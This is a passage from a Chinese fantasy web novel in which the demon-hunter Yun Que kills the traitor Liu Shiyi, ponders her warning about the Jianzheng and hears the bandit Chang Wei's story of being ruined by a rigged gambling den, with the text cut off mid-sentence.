“做狗有什么不好,至少在红莲教有人给骨头吃,在斩妖司,其实我们连狗都不如,你娘太傻了,她那种人,不配留在斩妖司!” 柳十一同样取出不知名的蛋类吞服,眼中再无感情波动,冷声道:“妖之力!” 随着柳十一的低吼,她的长刀瞬间铺满血色,凶气暴起! 第55章 自由之人 七品炼神境的妖血武夫,一旦施展出全力,所爆发出的威能连六品高手都要胆寒。 柳十一的长刀上血色极浓。 妖武者的武器,血色越浓烈代表着所杀妖物越多。 然而云缺的长刀上,那浓郁的血光几乎成为暗黑之色。 血最浓时,便如永夜! 面对强敌,云缺同样动用了妖之力,长刀上睁开一只血瞳。 柳十一当看到那颗血瞳的瞬间,震撼而疑惑道: “这不是你的刀!” 柳十一很了解云缺。 因为云缺的生母白孤晴,拿她当妹妹一样对待,当云缺出生的时候,柳十一不仅抱过云缺更深知云缺与何种妖物融合。 幼年的云缺第一次有能力让妖刀开眼之际,柳十一就在当场。 如今云缺刀身里的那只血瞳,柳十一觉得十分陌生。 “谁的刀又能怎样,只要能斩妖,就是好刀!” 云缺冷喝着攻出,一口气斩出十刀,每一刀都快若闪电。 这等出刀的速度与力量,远远超过了八品的极限,完全是七品武者的战力! 柳十一的眼瞳铺上一层血色,冷静的格挡。 身为斩妖司之人,柳十一很清楚任何妖武者,都无法以本身境界来衡量战力。 尽管云缺只有八品修为,柳十一始终以全力应对。 封住云缺的猛攻后,柳十一反手斩出一刀,速度比云缺还要快上三分,几乎避无可避。 云缺竖起长刀,硬生生与对方的长刀撞击。 闷响中,两把刀的下方炸起一团气浪,狂风般四散开来。 刚一出手,两人斗了个势均力敌。 “猎妖人不可能拥有第二把刀!难道你的刀,早已断裂?” 柳十一面带不解。 斩妖司的人,一生只可能拥有一把刀。 那是本命武器,刀断人亡,从无例外。 可云缺的出现,却打破了这个恒久的规则。 刀已断,人却没死! 非但如此,还有了第二把更强的妖刀! 柳十一疑惑着云缺身上的怪事,更震惊着云缺手里那把长刀的力量。 妖武者动用妖之力,简单来说就是沟通融入神魂的妖魂,借妖魂来唤醒武器中的妖兽力量。 毕竟猎妖人的每一把武器,都是一头强大妖物的本体炼制而来。 “妖都之战时砍断了!所有人的刀都断了,还差你一个!” 云缺此刻双眼猩红,以双手持刀,周身爆发出铺天盖地的煞气。 煞气无法增加力量,也难以伤到对手,但煞气越强,预示着气血越旺盛,而充足的气血则是激发妖刀的最佳之物。 柳十一微眯起双眼,冷声道: “如此煞气,放在当年斩妖司内也能排到前五之列,这些年看来你猎杀过不少妖物,真是个愚蠢的猎妖人,斩妖司已不复存在,你还猎什么妖!” “我喜欢!你管得着吗!我不仅斩妖,今天也要斩你!”云缺再次一刀斩落。 柳十一同样以双手持刀,崩开这一击。 她跨出一步,身体微蹲,刀悬于身侧,冷声道: “斩我,那要看你有没有这个本事了,斩妖技,七杀刀法!” 下一刻,柳十一的身体化作一道残影,刀随人走,以大开大合的凌厉刀法攻向云缺。 云缺一声冷笑,动用了相同的刀法。 七杀刀法,为大燕斩妖司的绝学,从无外传,是当年的监正亲自开创,专门为妖血武夫量身打造的一种战斗法门。 这种刀法以迅猛著称,一往无前,没有丝毫防御可言,一旦施展就是不死不休的局面。 万物亦可杀,壮我斩妖志,刀下断魂台,立死跪亦死! 猎妖人出刀,不夺命,不归鞘! 刀光四起,轰鸣大作。 两名来自前朝斩妖司的猎妖人,在黑风寨里展开了一场殊死之战。 所过之处,屋舍尽毁! 纵横四溢的刀气将地面切割出一条条狭长如渠的裂痕。 远处, 常威从一个水井旁探头瞄了一眼,又急忙缩回脑袋。 他旁边的瞎子早吓得魂不附体,抖若筛糠。 “大、大当家,咱们黑风寨是不是不能要了。”瞎子哆嗦道。 “保住脑袋就不错了,还要个屁的寨子!”常威低声骂道。 他不是没见过七品武者出手,但他从没见过这种恐怖的战斗。 哪里是两个武者在交战,分明是两头凶兽在黑风寨里肆虐! 常威此刻心里一个劲的后怕。 幸好当时服软,让云缺当了二当家,常威一直以来惧怕的都是七阶虎妖萍山君,谁成想那个云缺比七阶虎妖还要恐怖! “这里太近,再离远点!” 常威连滚带爬逃向更远的地方,瞎子头也不敢回跟着一起跑。 战场。 同样施展着七杀刀法的两人,最终战得遍体鳞伤,不相上下。 由于完全是杀伐之法,两人都没有任何防御,注定伤势不轻,如果再战下去,很有可能同归于尽。 柳十一目光一沉,刀势转换,由进攻选择了防守。 在她防住云缺劈斩的一刀之际,手中长刀之上竟伸展开六只巨型螯肢! 随着螯肢的出现,柳十一的长刀内传出一声尖细嘶吼。 嘶吼声传遍山顶! 躲在远处的常威瞎子等山匪被震得头昏脑涨,不得不拼命捂住耳朵。 距离最近的云缺直接被震得耳朵溢出鲜血。 趁着这个机会,柳十一挥斩长刀。 四只螯肢将云缺的长刀牢牢缠住,另外两只螯肢直奔云缺扎去。 云缺一时难以抽刀,只能用双手各自抓住一只螯肢,整个人被轰在地面,砸出个深坑。 若非妖武者本体极其强悍,这一击就能砸死任何的八品武者。 虽然挡下一击,云缺的双臂也渗出大量鲜血,手心被刺破。 不等云缺起身,更加致命的一击出现。 柳十一的长刀顶端,探出一条巨型蝎尾,锋利的尾钩携带着剧毒,朝着云缺落下。 “美人蝎!” 云缺低吼出柳十一在斩妖司的代号。 美人蝎,是一种七阶巅峰妖兽,背壳中心有一张类似人脸的印记,那印记犹如美人,从而得名。 柳十一的妖刀,由美人蝎炼制而来。 而且柳十一此人出手毒辣,容貌也不俗,美人蝎这种代号对她更为贴切。 美丽的毒蝎! “死吧,小云缺。” 柳十一冷漠的落下长刀。 自从叛逃斩妖司的那一刻,她便切断了与斩妖司所有的感情。 她知道既然遇到云缺,两人当中必定要死掉一人。 柳十一最后这一击,远远超出七品武者的威能,她的剧毒尾钩,足以击杀一名六品强者。 然而在毒蝎尾钩落下之际,柳十一发现云缺没有丝毫惧意,反而嘴角勾起一抹冷笑。 正在柳十一大为不解之际,被四只螯肢牢牢困死的那把长刀上突然涌出一片血光! 在血光中,一只锋利的巨爪掐住了下落的蝎尾。 “你的蝎子,不大管用啊。” 云缺冷笑着伸出手,做出一个捏紧的动作。 随着云缺猛然握拳,巨大的妖爪也相继合拢。 咔嚓!!! 蝎尾竟被一爪捏碎! 柳十一直接喷出一大口鲜血,气息瞬间微弱下去。 蝎尾碎裂,她的妖刀被重创! 云缺从大坑里一跃而起,抬手一招,妖刀回归。 刀身上探出的巨爪趴伏在地面,好似云缺的第三只手一样。 巨爪之上,裂开一颗血色竖瞳! 柳十一死死盯着那妖爪,震撼道:“你的刀里究竟封着什么妖物!” “我不知道是什么妖,我只知道它能杀掉你!” 云缺脚下一动,豁然冲出。 妖刀在身侧划出一片汹涌血光,那只妖爪也随之扬起,与云缺的本体一同攻向强敌。 轰!!! 两把妖刀再次撞击。 柳十一这次抵挡得无比费力。 她的刀身被云缺的长刀压得往下一沉,若非六只螯肢同时撑地,协助抵抗,这一刀足以将七品武者斩成两半! “怎么,没力气了?再来!” 云缺嘶吼着再次举刀,赤红的双眼宛若神魔。 轰!轰!轰! 一刀又一刀,如雨点般轰鸣斩落。 每次落刀,那只血色巨爪都会随之拍下。 云缺此刻的状态,近乎于疯狂与清醒之间,他心里完全被战意所填满,无比狂躁,只想撕裂周围的一切。 很快,柳十一扛不住了。 大口喷血。 咔嚓! 一声脆响之后,柳十一的长刀被斩断。 妖武者的战斗,更是妖之力的比拼,与境界的关联已经不大。 谁刀中的妖之力更强,谁才是最后赢家。 很明显,柳十一的美人蝎,根本不是云缺刀中血爪的对手。 刀一断,柳十一整个人瘫倒在地,眸子里的光泽快速消散。 刀,是妖武者的命。 刀断,人死! 云缺的手在微微颤抖着,眸中的血色时而浓郁时而稀薄,难以消散。 这一战,云缺没想着其他后果。 他心里只有一个念头。 不计代价也要斩杀叛徒,替母亲报仇! 脖子上的月玉散发着清冷气息,依旧无法消弭掉云缺身上的妖气。 尽管事先以蛙卵作为祭品,又有月玉的镇魂之力,但这次云缺动用的力量实在太多。 柳十一虽为七品武者,在妖力的加持下足以对战六品。 如果云缺不动用更多的妖刀之力,那么这一战最后死的,就是他自己。 云缺大口喘着气,尽力压制着心头的暴躁。 他将柳十一提了起来,嘶吼般喝问: “为什么叛出斩妖司!” 柳十一处于弥留之际,脸上看不出痛苦,反而现出一种解脱的笑意。 她呢喃低语:“因为……我想做个自由之人,而不是任人摆布的,傀儡……” 第56章 小心监正 柳十一临死前的回答,触动了云缺的心神。 心中的暴躁稍微减轻。 眸子里的猩红暗淡下去。 傀儡! 这是云缺第一次听到,用来描述斩妖司众人的词汇。 如果柳十一说的是怪物,云缺完全能理解。 妖武者本身就是一种特殊的怪物,不是人也不是妖,却拥有着人与妖的力量。 可傀儡指的是什么,云缺无法理解。 柳十一眼里的光泽即将消散,她盯着云缺诧异的表情,忽然笑了起来。 笑得莫名其妙,笑得肆无忌惮。 笑声中,充斥着一种让人难以理喻的悲哀。 “谁是傀儡!你给我说清楚!” 云缺将柳十一提过头顶,用双手掐着对方的脖子喝问。 “当年,我也这样抱过你……你,果然与众不同……” 柳十一不再笑了,嘴角溢出大片血迹,她用尽最后的力量留下了四个字:“小心,监正……” 柳十一死了。 死在曾经她抱在怀里的婴孩之手。 十多年前,柳十一也如此刻的云缺这般,双手高高举起,开心的抱着那个自己好姐妹刚刚诞下的婴孩。 十多年后,柳十一不曾想到,当初的婴孩已经拥有了斩杀她的力量。 十年岁月,如白驹过隙,匆匆而过。 只留下一生、一死,两个重叠的画面,深深印在柳十一失去光泽的双瞳深处。 尸体表面很快铺满一层铅灰色。 那是来自本体的毒力,没有气血压制,便会溢出身体。 美人蝎,斩妖司中带刺的毒玫瑰。 与美人蝎这等毒物炼制的长刀朝夕相处,柳十一其实早已被剧毒侵染。 她的生命,已经所剩无几。 所幸,身为猎妖人的柳十一,并未毒发死于病榻,而是与所有斩妖司的猎妖人一样,死在了战场。 战死沙场,才是猎妖人最终的归属。 废墟中心,云缺始终举着女人的尸体。 浑身妖气越来越重。 殷红的眼眸里却泛起泪痕。 “啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!” 许久之后,黑风寨中心炸起一声长啸。 心中的悲愤被云缺嘶吼而出,冲散了那一身妖气。 眼眸恢复清明。 妖刀恢复平静。 可斩杀了叛徒的云缺,却没有丝毫开心可言。 他杀的,是斩妖司的叛徒。 也是斩妖司最后一个家人。 归来的牧青瑶,停步在远处。 她看到云缺举着尸体的凶恶模样,她能体会到云缺此刻心里的悲伤。 牧青瑶没有去打扰云缺,默默的等在远处。 直至大日西坠,夜幕来临。 常威召集起四散的山匪,一群悍匪看着几乎被移平的黑风寨,呆呆发愣。 萍山君始终眼皮直跳。 它轻而易举的追上了那妇人,一口就结果了对方,谁成想真正的强敌居然还在寨子里。 一次战斗,就将寨子毁成这样,可见这场恶战有多可怕。 萍山君再一次被云缺的战力所震撼。 终于,云缺收起了刀。 叫来常威,让其吩咐山匪开始挖墓。 从双角山的半山腰开始挖,要挖出直通山腹的一座恢宏大墓! 山匪们日夜不休连着挖了三天,才挖出一个让云缺还算满意的墓穴。 云缺将柳十一的尸体埋在墓里。 没留墓碑,从外面重新将出口封死。 斩妖司的人,只需要一座大墓即可。 不需留名。 这三天来,云缺一语不发。 他想了很多,也回忆了很多。 柳十一口中的傀儡一说究竟有何用意,云缺想不通。 柳十一因何临死前要留下‘小心监正’这四个字,云缺一样想不通。 不过云缺隐约想通了一件事。 自己的母亲,当年负责追杀叛徒柳十一,结果反被其重创,疗养多日才好转。 云缺始终认为是柳十一太阴险,利用她与自己母亲情同姐妹般的关系,让母亲大意,从而逃脱。 然而母亲的战力,是斩妖司最顶端的存在,即便柳十一再如何偷袭,母亲也不该受那么重的伤。 这个蹊跷的现象,当时年幼的云缺无法理解,但现在他有些想通了。 不是柳十一偷袭母亲,当年很可能是母亲故意放走了柳十一! “傀儡……难道猎妖人都是傀儡?” 云缺独自坐在夜幕下的山顶,望着满天星斗低声自语。 柳十一虽然死了,却给云缺留下一个无法理解的巨大谜团。 难道柳十一当年发现了斩妖司的秘密,从而选择叛逃? 这个念头,始终萦绕在云缺心里。 云缺又想起了当年的监正。 自己没见过几次,印象里,是一位和蔼的老者。 不仅斩妖司的一众高手,大燕司天监的监正,也在妖都之战中战死。 没有活人。 不,如果说前朝大燕司天监还有人存活的话,云缺只能想到一个人。 司天监的大师兄,前朝监正的大弟子。 吕青! 当年司天监集结所有高手,随同皇帝北伐妖都,吕青被监正留下,负责坐镇司天监。 可以说吕青,是唯一存活下来的司天监高手。 只是这些年过去了,吕青的去向,云缺不得所知。 “如果司天监真的存在隐秘,大师兄应该能知道些什么……” 迎着冷冽夜风,云缺心里的疑团非但没有减少,反而越来越多。 没有遇到柳十一之前,云缺认为大燕的覆灭,是耗尽国运,自然败落,被晋国取而代之。 此刻想来,大燕的覆灭好像并不正常。 妖都的存在,的确是大燕的威胁,但妖都并未攻打燕国,燕国也没有被妖邪肆虐到奄奄一息的地步,反而是兵强马壮的大燕主动出击去讨伐妖都,以至于双方同归于尽。 大燕皇帝与司天监所有高手,与妖都的无数妖族尽数亡命在那次大战之中。 随后晋国马上出现,就像早已做好了准备一样。 以前云缺只认为斩妖司的使命,就是斩尽天下妖邪,从未多想过一国的存亡那等大事。 现在云缺隐隐觉得,当年从攻打妖都开始,就像有人早已准备好的一盘棋。 妖都覆灭,大燕亡国,晋国取而代之,司天监依旧存在,天下妖邪还是那么多…… 好像,除了燕国与妖都消失之外,天下并没有其他变化。 云缺深深的锁着双眉,呢喃道: “为什么要攻打妖都,谁又是傀儡……” 夜空的无数星辰,在云缺眼前仿佛组成了一张巨大的棋盘,隐在夜幕中的棋手,正肆意摆弄着那些随时可以舍弃的棋子。 轻缓的脚步声由远及近,牧青瑶缓缓在云缺身旁坐了下来。 “天祈学宫里,是不是能学到很多东西。”云缺望着天空道。 “天祈学宫设有十二殿,传授的学识极其庞杂,儒、道、佛、武均有修为高深的先生授课,除此之外,锻器,医道,御兽,兵家,炼丹,灵植,傀儡,杂学,歌舞,风水堪舆,甚至厨道与断案之类都有专门的先生传授,可以说天祈学宫十二殿,是真正的百花齐放,天下学问的源泉之地。” 牧青瑶声音轻柔的道。 “学宫里的先生,有没有前朝的。”云缺道。 “天祈学宫已经有上千年历史,当中的先生有很多从前朝便在学宫授课,王朝更迭,学宫不变,天祈学宫始终是超凡脱俗的存在。”牧青瑶道。 “我想去学宫。”云缺忽然笑了起来,道:“去学点东西。” 学东西其实是次要。 云缺想要去学宫的真正目的,是打听出大燕当初为何要孤注一掷,进攻妖都。 这个谜题不解开,云缺始终觉得心里不舒服。 别看天祈学宫超然世外,毕竟位于皇城之内,皇朝的动荡,学宫里的强者们不可能不知道内情。 云缺有一种预感。 只有去天祈学宫,他才能找到自己想要的答案。 “不积跬步,无以至千里,学无止境,肯虚心学习的人,才是真正的强者。”牧青瑶给予肯定后,狡黠一笑,道:“你放心,学宫里的生活肯定适合你。” 云缺觉得奇怪,道: “学宫里该不会全是妖怪吧,否则怎么会适合我这种只会猎妖的粗人。” 牧青瑶微笑着摇头道: “学宫里没有妖,但有很多千奇百怪的学生,有的人粗鲁豪爽,有的人谨小慎微,有的锱铢必较,有的一掷千金,有的整天惹事,有的闷头苦修,几乎什么人都有,热闹得很,总之你只要进了天祈学宫,肯定能找到志同道合之士。” 云缺听得好奇,道: “这么说,喜欢切磋打架的学生也有喽。” “何止是有,还有不少呢!学宫不禁止切磋,只要不闹出人命就行,打架的天天都有,以至于回春殿的病房总是人满为患。”牧青瑶微笑道。 “这么热闹!”云缺的好奇心被彻底勾起。 学宫这种地方,在正常人眼里是求学之地,学子们肯定老老实实,上课下课。 谁料天祈学宫里斗殴不断,实在出人预料。 “你要知道天祈学宫并非晋国的学宫,而是天下的学宫,来此求学的可不止晋国子民,还有邵武国与其他国度的学子,甚至有草原蛮人,晋国律法管不到学宫,学子的数量又极其庞大,来自天南海北的年轻人聚在一起,自然会有无数摩擦。” 牧青瑶解释完,调皮的拍了拍云缺肩膀,故作老成的道:“所以嘛,天祈学宫很适合你这种喜欢斩妖的年轻人。” 云缺点点头,道:“那就好。” 牧青瑶不解其意,疑惑道:“什么叫那就好?” “那些学子经常打架,肯定练得皮糙肉厚,多被揍几顿也无所谓了。”云缺道。 牧青瑶眨了眨眼睛,掩口轻笑。 “你小心自己被揍,学宫里的高手多得很哦。”牧青瑶道。 “我又不怕挨揍,正好帮我打熬筋骨了。”云缺想象着天祈学宫的模样,道:“既然学生们如此混杂,那些先生们肯定会头疼的。” 牧青瑶的神色变得古怪起来,神秘兮兮的道: “先生们才不会头疼,比起学子,天祈学宫的先生更加千奇百怪,等到了学宫,你一定会大开眼界。” “是吗,那更要去见识一番了,郡主殿下的名额,肯定有效对吧。”云缺道。 “名额没问题,不过你需要通过考核才行,若无法通过学宫的考核,即便皇帝下令都没用的。”牧青瑶道。 “还要考核啊,难不难?”云缺道。 “难者不会,会者不难,学宫十二殿分门别类,其中演武殿专门招收武者学生,考核的也是武道一类,以你的能力,无需担心通不通过的问题。”牧青瑶笃定道。 云缺仰头倒在山顶,面朝星辰,道: “如果考核武道的话,问题不大,即便考不上,我还能去你爹手下混个差事,郡主殿下的人情,应该管用吧。” “就算没有我,以你的能力在军中定有用武之地,我爹肯定喜欢你这种杀伐果断的年轻武者,没准你们能成为忘年交呢。”牧青瑶微笑道。 “忘年交多没意思,虚情假意的,不如直接拜把子,到时候你就是我大侄女了。”云缺道。 牧青瑶听得龇起小虎牙,恶狠狠掐着云缺胳膊上的肉。 一个小姑娘能有多大力气,云缺八品武夫的肉身,让牧青瑶拿刀砍都未必砍得动,何况是掐。 云缺特意把袖子挽起来,让牧青瑶可劲掐,反正一点都不疼,跟挠痒痒差不多。 牧青瑶无可奈何的松开手,愤愤然的道: “等年底师尊助我开启天门,有了七品格物修为,一定能掐疼你!” “对了,你那位监正师尊,叫什么。” 云缺随口问了句,牧青瑶能否冲进七品的关键在她那位师尊。 牧青瑶神色微微凝重,答道: “吕青。” 听见这个名字,云缺直接怔在原地。 第57章 女国师 吕青,是前朝司天监监正的亲传大弟子,斩妖司众人都称其为大师兄。 云缺没想到当年那位温文尔雅的大师兄,如今竟成为了晋国司天监的监正。 云缺在惊讶之余,心里实在无法理解。 燕皇战死北域妖都,皇城里还有太子,吕青完全可以辅佐太子上位,据守皇城。 可燕国覆灭得太快。 几乎一夜间改朝换代,成了如今的晋国。 燕国太子下落不明,吕青这位司天监的大师兄则成了晋国的监正。 这一切,让云缺觉得恍然若梦。 而牧青瑶,居然是吕青的亲传弟子。 算起来的话,云缺之前的玩笑一语成谶,他的辈分,真成了牧青瑶的小师叔。 “吕青的身份,难道你们晋国皇帝不知道?”云缺疑惑的道。 “当然知道,师尊是前朝司天监监正的大弟子,如今辅佐大晋,当今圣上以宽怀著称,不拘小节,接纳了许多前朝的文官武将,从没有剿灭前朝余孽的做法。”牧青瑶道。 云缺的眉峰始终紧蹙。 如今的皇帝是否宽怀,他不知道,但云缺知道吕青的为人刚正不阿,轻易不会臣服于异国之皇。 云缺以为吕青随着燕国的消失,早已远离皇城,或者隐姓埋名,或者辅佐燕国太子。 “燕皇刚刚战死,就把皇城拱手相让,这不像吕青的作风。”云缺皱眉低语道:“晋国皇帝为何能轻易攻入皇城,当时究竟发生了什么。” 史料记载: ‘晋皇入天祈没费一兵一卒,城中百姓在当晚看到一片紫色的大雾由东而来,明悟此为大兴之兆乃紫气东来,于是百姓合力打开城门,迎接新皇上位。 晋皇兵不血刃,占据了天祈皇城,从此之后大晋立国,天下百姓安居乐业。’ 云缺虽然是粗俗的武夫,但他十分清楚史料这种东西,完全由胜者所书写,皇帝的事迹,当然怎么漂亮怎么写了。 牧青瑶闻言沉默了一下,道: “我也不清楚当时发生了什么,不过我爹曾经提及过一次,他说那一晚皇城很乱,我问他乱成什么样子,他始终没说。” 阜南王不说,代表着那一晚皇城不仅很乱,也充满了血腥。 改朝换代,又岂能兵不血刃。 “师尊说过一句话,成大事者不拘小节,天下,始终是黎民的天下。” 牧青瑶看出云缺疑惑的缘由,道:“我认为师尊是真正心怀大义之人,燕国最后的力量若顽固抵抗,不知还要经过多少年的厮杀,战争只会让百姓们流离失所家破人亡,是大燕还是大晋,百姓们其实不在乎,他们只想安安稳稳的过日子。” 云缺没说话,轻轻点了点头。 也许吕青的做法是对的。 但不知为何,云缺对那位曾经的大师兄,多了一份陌生感。 “我知道还有一个重要的原因,当今圣上能坐稳天祈,其实是有依仗的。”牧青瑶道。 “阜南王?”云缺道。 牧青瑶摇头轻笑: “当然不是我爹,那时候我爹只是个初出茅庐的年轻将军而已,冲锋陷阵没得说,但远远谈不上护国之力,圣上真正的依仗,是国师。” “看来国师很厉害了。”云缺道。 大晋庙堂上的情况,云缺远在知远县这种偏僻角落自然无从了解。 不过国师的存在,晋国百姓是人尽皆知的,都传闻是位隐世的方外之人。 “国师是道门强者,十分神秘,轻易见不到面,我也仅仅见过两三次而已,皇城内的伏妖大阵便是国师亲手布置,由司天监负责监管,我猜当年圣上入天祈的那一晚,国师肯定与师尊相遇过,两位强者也许曾经比拼过修为。” 牧青瑶发散着独属于女孩子的幻想,构建出两位绝世强者惊天动地又不为人知的一场较量。 “你们皇帝手下果然人才济济,难怪能轻易取代大燕,看来国师和你爹是老相识了。”云缺道。 “你说错了,我爹之前并不认得国师,陛下曾经是大燕之内的一方诸侯,我爹是陛下的家将,而国师则是即将攻打天祈皇城之际出现的,来自世外宗门。”牧青瑶道。 云缺觉得奇怪,道: “世外宗门的强者,怎么一来就辅佐你们皇帝?” “也许国师看出陛下天命加身,是真命天子。”牧青瑶并不清楚真正的内情,只能如此说道。 云缺呵了一声。 对天命两个字,嗤之以鼻。 云缺这辈子什么都信,唯独不信命,更不信老天。 在云缺看来,国师既然肯辅佐晋皇,一定有自己的目的。 没准是看出大势所趋,大燕再无机会,趁机捞个从龙之功。 “国师眼力不错,应该是个聪明人。”云缺道。 “能为国师者,岂会是愚人,这次你说对了,国师的确眼力过人,一眼看出我的通灵之体,当初想要收我为亲传弟子呢,只是被监正师尊抢了先,得知我已经拜入监正门下,国师很是惋惜。” 牧青瑶略带着骄傲的道。 能被皇城内两位强者争抢收徒,绝对是一份天大的荣耀。 “原来郡主还是个香馍馍。”云缺酸溜溜的道。 人比人死,货比货扔。 人家灵芸郡主出生就含着金汤匙,一世荣华富贵,连皇帝都疼爱有加,又有天赋异禀的通灵之体,一国之内的两大强者都抢着收为弟子,简直是晋国的明珠一样。 再看自己。 两岁开始上战场斩妖,从小到大都在腥风血雨里度过,刀从来不离手,命不知道什么时候丢,忙碌多年,到头来只混成个小镇的仵作。 还是连月俸都没有的那种。 云缺很想指着老天大骂一顿,都是人,怎么差别就这么大呢。 牧青瑶自然听得出云缺吃不到葡萄说葡萄酸的语气,咯咯直笑,道: “国师还送过我一个玉簪,是一件能自行运转的防御法器,可惜在一次被妖物围攻的时候坏掉了,那玉簪真的很漂亮,当时国师从头上亲手摘下来送给我的。” “大男人还戴着玉簪?”云缺道。 “谁说国师是男人,国师是女人,很美的女子。”牧青瑶羡慕道。 “女国师?”云缺吃惊道。 “当然了,你以为呢。” 牧青瑶掰着手指如数家珍的道:“相邻的邵武国对大晋始终虎视眈眈,蠢蠢欲动,之所以始终不敢打晋国的主意,主要因为大晋的三柱国,国师!监正!阜南王!” 与牧青瑶的一番长谈,云缺对当今朝堂了解不少。 但他没什么兴趣。 庙堂之上,不是他的地盘,更不是他的战场。 与其和那些八面玲珑的文武群臣玩弄心机,还不如砍几只妖来得干脆爽快。 并非云缺没有心机,反而他的心机之深远超旁人,只是心机交锋这种事实在累得慌。 一点意思都没有。 要比就比刀,你砍我,我砍你,看谁先死。 多简单! 比什么心机呀。 而且云缺深知一点。 这世上无论多深的算计,多巧妙的布置,多阴险的陷阱,在绝对强大的力量面前,统统形如虚设。 “时间差不多了,再等两天我们就出发,进八山城。”云缺的声音渐渐发沉。 八山城是最后一关,也是最艰难的一关。 能否活着抵达皇城,其实云缺没多少把握。 越是接触红莲教,云缺对这处邪教的存在就越是忌惮。 连柳十一那种斩妖司的叛徒,红莲教居然也能拉拢,可见红莲教的触手遍布之广。 牧青瑶点了点头,忽然想到了什么,道: “如果能回到皇城,你该去见见监正师尊,他应该认得你,也许师尊能帮你想起丢失的一月记忆。” “我暂时不想见吕青。”云缺道。 或许是柳十一之死,让云缺对当年司天监的故人多出一种隔阂。 他当然认得吕青。 但吕青现在肯定不会认得长大了的自己。 牧青瑶没有过多规劝,她是个善解人意的女孩,她尊重云缺的选择。 “我知道你有苦衷,前朝的同僚,今朝相见,免不了尴尬,连监正师尊都打造不出当年的斩妖司,看来是我奢望了,云缺,你不属于大燕也不属于大晋,你永远是自由的。”牧青瑶轻声道。 将云缺绑在司天监重建斩妖司,是牧青瑶第一次遇到云缺时的想法。 自从相识以来,牧青瑶的想法已经渐渐转变。 她想要云缺永远可以自由自在,翱翔在广阔的天地之间。 “走,找常威喝点酒去。” 云缺站起身,带着牧青瑶来到常威的住处。 由于山寨里的屋舍大部分都被毁坏,常威现在住的是瞎子的小屋。 正在屋子里喝着闷酒,抬头一看云缺进来了,常威连忙起身道: “二当家还没睡呐,要不喝点?” 瞎子在旁边听得直咧嘴,这语气像是大当家见二当家吗,跟自己平常在大当家面前的卑微一模一样了。 自从目睹了云缺与那婢女的恶战,常威现在恨不得看到云缺就绕着走,能躲多远躲多远。 人形妖兽一样的二当家,实在恐怖至极。 云缺也不客气,坐下来给自己倒了杯酒。 “大当家在八山城里,有没有仇人。” 常威掏了掏耳朵,以为自己听错了,不是应该问有没有熟人吗,怎么问仇人。 “熟人有,仇人也有。”常威赔笑道。 “有仇家就好,说说是谁,多大的仇。”云缺道。 常威的笑容渐渐凝固,脸色变得狰狞起来,道: “害得我妻离子散家破人亡的生死大仇!” 云缺兴致大起,道:“大当家原来是个有故事的人,说来听听,到底是谁害得你家破人亡。” 常威长叹一声,灌了一大碗酒,喷着酒气,讲述起一段不为人知的过往。 第58章 这辈子够本了 常威出生军伍世家,祖上三代都是八山城的守军,父亲曾经做过偏将。 家里虽说算不得大富大贵,但比上不足比下有余,吃喝不愁,家境殷实。 常威的童年可以说无忧无虑,长大后也自然而然的成为八山城的官兵。 他娶了妻,还生了个儿子。 本以为这种生活会一直持续下去,直到常威沉迷于赌坊。 常威有一个同僚,叫做佟岐,是城中校尉,说是为了消遣带着常威去了赌坊,从小赌开始,直至越赌越大。 常威其实对赌坊没多大兴趣,最开始也是闲着玩玩而已。 自从他连赢好几天,真金白银到手,便越发沉迷此道,经常在赌坊一赌就是一天一夜。 渐渐的,常威开始输多赢少。 不仅将之前赢来的银子全输了进去,自己还搭上不少。 常威不服气,觉得输掉银子是自己运气不好,早晚能赢回来,加上佟岐经常敲边鼓,常威开始加大了本钱。 常威越输越多,最后输红了眼,他将府宅押了出去,打算破釜沉舟,最后一搏。 不出意外,常威又输了。 输得干干净净,一无所有。 当债主拿着地契前来索要府宅,常威的老父亲直接被气得咽了气,家里的两个丫鬟一个仆人连这个月的工钱都没要,收拾东西当天离开。 赌徒的德行,谁又能不清楚呢。 一旦沾染了这行,连爹娘都能当做赌注。 一夜之间,从家境殷实到一贫如洗,加上老父过世,常威觉得自己经历了人生中最黑暗的时刻。 然而常威并不知道,真正的黑暗,还在后边。 常威用仅剩的几两碎银子,租了间漏风的小屋,暂时安顿好妻儿。 他决定洗心革面,重新做人,这辈子再也不去赌坊。 常威的妻子是个大家闺秀,明白事理,没有哭闹,也没有责备,始终默默承受着一切。 没有钱,就省吃俭用,清苦度日。 好在常威还有月俸,不至于养不起妻儿。 月底的时候,常威拿着刚到手的月俸银子准备给妻儿买点肉吃,结果佟岐又邀他去赌坊试试手气。 常威严词拒绝,他已经发誓这辈子不再赌了。 可佟岐却嘲笑他,不像个男人,输掉的东西应该再赚回来才对,人嘛,哪有始终倒霉的,说不定这次就转运了。 常威心动了。 他不甘心如此贫困潦倒,不甘心妻儿跟着自己过不上好日子。 于是常威又跟着佟岐去了赌坊。 这次他果然赢了。 从十两银子,一直赢到二百两。 见自己转运,常威哪能罢休,一次将二百两全押在一局。 他输了。 输得彻彻底底,连最后的尊严都输了出去。 想起自己要给妻儿改善生活买些肉吃,常威几乎失去理智,愤怒得犹如野兽,在佟岐的建议下,他孤注一掷,准备最后再赌一手。 常威已经分文皆无,他的赌注,是自己的妻儿! 常威又输了。 这一次,他输掉了自己在世上仅有的财富。 常威一个人在赌坊外枯坐了一天一夜,当他拖着疲惫的身体回到小屋的时候,妻儿已经被人带走了。 之后一个月,常威如同行尸走肉。 他再没见过妻儿。 直至一个月之后,他听到了妻儿的死讯。 一大一小,两具尸体是从河里捞出来的。 围观的人群指指点点,有人听到消息,说这娘俩被卖给一个大户人家,结果天天被打骂,女人不堪屈辱选择带着孩子投河自尽。 “没爹的孩子啊,真可怜。” 这是常威当时听到周围人群说得最多的一句话,也是令他心境坍塌的一句话。 常威想过死。 去地底下陪妻儿。 当他在荒林里将刀刃对准自己脖子的时候,他反悔了。 并非怕死,而是死得太憋屈。 常威用身上最后的一点钱,买了一坛子老酒,一个人喝光。 随后提着刀,走进赌坊,大开杀戒。 他杀了几十人。 最后在濒死的赌坊东家嘴里,得知了一个天大的隐秘。 原来这间赌坊的东家不止一人,是几人合开,其中有个东家,就是佟岐。 得知这个消息,常威五雷轰顶。 他的同僚,他的好友,竟亲手给他做了一个局。 一个家破人亡的死局。 常威带着赌坊东家的脑袋,直接找到佟岐,两人大打出手。 尽管常威亡命相搏,他却不是佟岐的对手,被重创后逃出八山城,就此落草为寇,成了杀人越货的山匪。 说完这段悲苦的过往,常威连喝了三大碗烈酒。 醉醺醺的道: 